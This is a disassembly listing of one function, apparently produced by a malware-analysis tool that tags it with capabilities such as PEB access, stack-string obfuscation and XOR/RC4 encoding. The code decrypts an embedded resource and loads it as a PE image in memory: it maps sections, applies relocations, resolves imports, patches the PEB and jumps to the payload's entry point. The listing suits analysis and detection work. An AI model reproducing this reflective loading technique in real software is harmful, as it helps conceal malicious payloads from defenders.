Function at 0x164e4a710
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga
Get ntdll base address

Disassembly:
xor ecx, ecx
mov r8d, esi
mov edx, r13d
mov qword [rbp + 0x77], rax
call rdi
movabs r11, resource.22
mov dword [rsp + 0x20], 0x6b21432a
mov r15, rax
movsx eax, byte [rbp - 0x59]
mov dword [rsp + 0x24], 0x3f692b3e
mov dword [rsp + 0x28], 0x6433304c
mov dword [rsp + 0x2c], 0x54283536
mov dword [rsp + 0x30], 0x44507568
imul ecx, eax, 0x22c1
movsx rax, byte [rbp - 0x59]
mov dword [rsp + 0x34], 0x477443
mov r10d, r14d
movsxd rbx, ecx
imul r9, rax, 0x6f684
imul rax, rax, 0x6f685
sub r11, rax
add r9, r15
sub r11, r15
movsxd rcx, r10d
movabs rax, 0xaaaaaaaaaaaaaaab
add r10d, r12d
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*2]
shl rax, 3
sub rcx, rax
add rcx, rbx
mov al, byte [rsp + rcx + 0x20]
xor al, byte [r11 + r9]
mov byte [r9], al
add r9, r12
cmp r10d, r13d
jb 0x164e4a787
movsxd rax, dword [r15 + 0x3c]
movsx r9d, byte [rbp - 0x51]
mov r8d, esi
mov edx, dword [rax + r15 + 0x50]
shl r9d, 3
xor ecx, ecx
call rdi
mov rbx, rax
test rax, rax
je 0x164e4aa4e
movsxd rsi, dword [r15 + 0x3c]
mov r8d, r14d
add rsi, r15
sub rax, qword [rsi + 0x30]
mov r9d, dword [rsi + 0x54]
movzx r10d, word [rsi + 0x14]
mov qword [rbp + 0x6f], rax
mov qword [rsi + 0x30], rbx
test r9, r9
je 0x164e4a824
mov rdx, r15
mov rcx, rbx
sub rdx, rbx
mov al, byte [rdx + rcx]
add r8d, r12d
mov byte [rcx], al
movsxd rax, r8d
add rcx, r12
cmp rax, r9
jb 0x164e4a811
mov rax, qword [rsi + 0xb0]
mov rcx, qword [rsi + 0x90]
mov r13, r14
mov r12, r14
mov edi, r14d
mov qword [rbp + 0x67], rax
cmp r14w, word [rsi + 6]
jae 0x164e4aa4e
lea r9, [r10 + 0x24]
add r9, rsi
mov r10d, dword [r9]
cmp eax, r10d
jb 0x164e4a869
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp eax, r8d
jae 0x164e4a869
lea r13, [r9 - 0xc]
cmp ecx, r10d
jb 0x164e4a87e
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp ecx, r8d
jae 0x164e4a87e
lea r12, [r9 - 0xc]
mov r11d, dword [r9 + 8]
mov r14d, dword [r9 + 4]
lea r8, [rbx + r10]
add r11, r15
xor r10d, r10d
test r14, r14
je 0x164e4a8ad
sub r11, r8
mov dl, byte [r11 + r8]
inc r10d
mov byte [r8], dl
movsxd rdx, r10d
inc r8
cmp rdx, r14
jb 0x164e4a898
movzx edx, word [rsi + 6]
inc edi
add r9, 0x28
cmp edi, edx
jl 0x164e4a851
test r12, r12
je 0x164e4aa4e
mov r14d, dword [rbp + 0x6b]
xor edx, edx
test r14, r14
je 0x164e4a982
mov r12, qword [rbp + 0x6f]
mov r9d, dword [r13 + 0x14]
add r9, rdx
add rdx, 8
mov r8d, dword [r9 + r15 + 4]
sub r8, 8
shr r8, 1
je 0x164e4a979
mov eax, dword [r13 + 0x14]
add rax, rdx
add rdx, 2
movzx r10d, word [rax + r15]
mov eax, 0xf000
test ax, r10w
je 0x164e4a970
mov ecx, dword [r9 + r15]
and qword [rbp + 0x67], 0
and r10d, 0xfff
lea rax, [rbx + r10]
xor r11d, r11d
lea r10, [rbp + 0x67]
add rcx, rax
lea rax, [rbp + 0x67]
mov rdi, rcx
sub rdi, rax
mov al, byte [rdi + r10]
inc r11d
mov byte [r10], al
movsxd rax, r11d
inc r10
cmp rax, 8
jb 0x164e4a937
add qword [rbp + 0x67], r12
lea r11, [rbp + 0x67]
xor r10d, r10d
sub r11, rcx
mov al, byte [r11 + rcx]
inc r10d
mov byte [rcx], al
movsxd rax, r10d
inc rcx
cmp rax, 8
jb 0x164e4a95b
dec r8
jne 0x164e4a8f4
cmp rdx, r14
jb 0x164e4a8d7
mov r14d, dword [rsi + 0x90]
add r14, rbx
je 0x164e4aa4e
add r14, 0xc
cmp dword [r14], 0
je 0x164e4a9f9
mov r13, qword [rbp + 0x77]
mov ecx, dword [r14]
add rcx, rbx
call qword [rbp + 0x7f]
mov r12, rax
test rax, rax
je 0x164e4aa4e
mov edi, dword [r14 + 4]
add rdi, rbx
jmp 0x164e4a9e9
mov rax, qword [rdi]
movabs rcx, 0x8000000000000000
test rcx, rax
mov rcx, r12
je 0x164e4a9d8
movzx edx, ax
jmp 0x164e4a9df
lea rdx, [rax + 2]
add rdx, rbx
call r13
mov qword [rdi], rax
add rdi, 8
cmp qword [rdi], 0
jne 0x164e4a9be
add r14, 0x14
cmp dword [r14], 0
jne 0x164e4a9a0
movsxd rax, dword [r15 + 0x3c]
cmp dword [rax + r15 + 0xd0], 0
je 0x164e4aa2d
mov eax, dword [rsi + 0xd0]
mov rdi, qword [rax + rbx + 0x18]
jl 0x164e4aa2a
sbb bl, ch
invalid
xor r8d, r8d
mov rcx, r15
lea edx, [r8 + 1]
call rax
lea rdi, [rdi + 8]
mov rax, qword [rdi]
test rax, rax
jne 0x164e4aa15
mov rax, qword gs:[0x60]
mov qword [rax + 0x10], rbx
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov qword [rcx + 0x30], rbx
mov eax, dword [rsi + 0x28]
add rax, rbx
call rax
xor eax, eax
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret